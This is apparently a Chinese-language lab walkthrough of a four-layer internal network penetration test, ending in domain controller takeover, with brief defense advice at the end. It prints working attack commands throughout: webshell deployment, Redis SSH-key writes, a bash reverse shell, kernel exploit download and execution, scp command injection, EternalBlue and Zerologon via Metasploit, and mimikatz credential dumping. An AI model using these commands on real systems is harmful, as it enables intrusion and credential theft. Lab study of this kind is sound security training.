记一次四层内网攻防渗透测试大实验
字数 1841 2025-08-24 10:10:13
四层内网攻防渗透测试实战教学文档
一、实验环境概述
本次渗透测试实验涉及四层内网环境,从外网Web服务器逐步深入,最终获取域控权限。主要网络拓扑如下:
- 外网层:Kali攻击机 (192.168.1.128)
- 第一层:Web服务器 (192.168.1.129)
- 第二层:内网服务器 (192.168.52.10/20)
- 第三层:内网服务器 (192.168.71.10/20)
- 第四层:域环境 (192.168.93.30/40)
二、渗透测试详细步骤
1. 信息收集阶段
1.1 基础探测
ping 192.168.1.129 # ICMP探测目标存活
nmap -T4 -sC -sV -p 1-10000 192.168.1.129 # 全面端口扫描
发现开放端口:
- 22 (SSH)
- 80 (HTTP)
- 81 (HTTP)
- 6379 (Redis)
1.2 Web目录爆破
python3 dirsearch.py -u "http://192.168.1.129" -e *
发现关键路径:/manager/html (Tomcat管理后台)
1.3 漏洞发现
- Tomcat弱口令:tomcat:tomcat
- Redis未授权访问
2. Tomcat后台GetShell
2.1 弱口令爆破
使用Burp Suite对Tomcat管理后台进行爆破:
- 抓取登录包
- 设置Authorization头为payload变量
- 使用Custom iterator模式组合payload
2.2 上传War木马
- 使用哥斯拉生成JSP马:
<%! String xc = "3c6e0b8a9c15224a"; String pass = "pass";... %>
- 打包为WAR文件:
./jar.exe cvf shell.war shell.jsp
- 通过Tomcat管理界面上传部署
2.3 连接WebShell
使用哥斯拉v4.1连接:
- URL: http://192.168.1.129/shell/shell.jsp
- 密码: pass
3. Redis未授权访问利用
3.1 写入SSH公钥
- 生成SSH密钥对:
ssh-keygen -t rsa
- 准备公钥文件:
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt
- 写入Redis:
cat 1.txt | redis-cli -h 192.168.1.129 -p 6379 -x set hello
- 设置Redis保存路径:
redis-cli -h 192.168.1.129
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
- SSH连接:
ssh 192.168.1.129
4. 内网横向移动
4.1 发现内网结构
在192.168.1.129上发现:
- 内网IP: 192.168.52.10
- Nginx反向代理配置:
- 80端口 → 192.168.52.20:8080
- 81端口 → 192.168.52.20:8000
4.2 反弹Shell
由于目标不出网,通过Web1跳板反弹:
# 在Web1监听
nc -lvp 1234
# 在Tomcat执行
bash -c "bash -i >& /dev/tcp/192.168.52.10/1234 0>&1"
5. 提权操作(CVE-2021-3493)
适用于Ubuntu 18.04 LTS等版本
- 下载exp:
wget https://github.com/briskets/CVE-2021-3493/raw/main/exploit.c
- 编译执行:
gcc exploit.c -o exploit
chmod +x exploit
./exploit
6. 多层隧道搭建
6.1 第一层代理(Kali ↔ Web1)
服务端(Kali) frps.ini:
[common]
bind_addr = 0.0.0.0
bind_port = 7000
客户端(Web1) frpc.ini:
[common]
server_addr = 192.168.1.128
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5
6.2 第二层代理(Web1 ↔ Web2)
配置类似,使用内网IP 192.168.52.10
6.3 proxychains配置
socks5 192.168.1.128 7777
socks5 192.168.52.10 7777
7. OpenSSH命令注入(CVE-2020-15778)
7.1 漏洞利用
- 发现192.168.71.20存在弱口令cs/123
- 通过scp注入命令:
scp /test.txt cs@192.168.71.20:'`touch /tmp/test.sh`/tmp'
7.2 建立第三层代理
配置类似前两层,使用192.168.71.10作为服务端
8. 内网主机扫描
8.1 扫描第四层网络
proxychains nmap -Pn -sT -sV -F -O 192.168.93.1/24
发现:
- DC: 192.168.93.30 (域控)
- PC2: 192.168.93.40 (Win7)
8.2 永恒之蓝利用(MS17-010)
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
exploit
9. 域渗透
9.1 信息收集
net user /domain
net group "domain admins" /domain
ipconfig /all
systeminfo
9.2 抓取域凭据
使用kiwi模块:
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
获取:
- 域用户: moretz/Moretz2021
- 域管理员: administrator/Whoami2021
9.3 Zerologon漏洞利用(CVE-2020-1472)
- 验证漏洞:
proxychains python3 zerologon_tester.py DC 192.168.93.30
- 使用psexec登录域控:
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
run
三、关键知识点总结
-
信息收集:端口扫描、目录爆破、服务识别
-
漏洞利用:
- Tomcat弱口令+war部署
- Redis未授权访问
- Linux内核提权(CVE-2021-3493)
- OpenSSH命令注入(CVE-2020-15778)
- 永恒之蓝(MS17-010)
- Zerologon(CVE-2020-1472)
-
内网穿透:
- FRP多层代理搭建
- Proxychains配置
-
域渗透:
- 凭据抓取
- 域信息收集
- 域控攻击
四、防御建议
- 禁用不必要的服务(如Redis、Tomcat管理界面)
- 使用强密码策略
- 及时更新系统和补丁
- 限制SSH和SMB等服务的访问
- 配置网络隔离和防火墙规则
- 监控异常登录行为
五、参考工具
- Nmap - 端口扫描
- Dirsearch - 目录爆破
- 哥斯拉 - WebShell管理
- FRP - 内网穿透
- Metasploit - 漏洞利用框架
- Proxychains - 代理链工具